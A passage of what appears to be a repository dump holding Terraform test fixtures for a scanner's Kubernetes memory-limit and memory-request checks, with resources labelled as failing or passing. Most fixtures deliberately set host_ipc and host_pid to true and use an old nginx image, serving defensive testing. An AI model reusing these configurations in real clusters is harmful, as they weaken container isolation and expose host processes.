true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no limits\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no cpu limit\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          cpu= \"500m\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              cpu = \"500m\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              cpu = \"500m\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          cpu= \"500m\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          memory= \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          memory= \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MemoryLimits/main2.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no limits\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no limits\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no limits\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no limits\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = \"x\"\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = \"x\"\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n# fails no cpu limit\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = \"x\"\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = \"x\"\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          memory= \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          memory= \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MemoryLimits/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MemoryRequests/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name   = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name   = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = 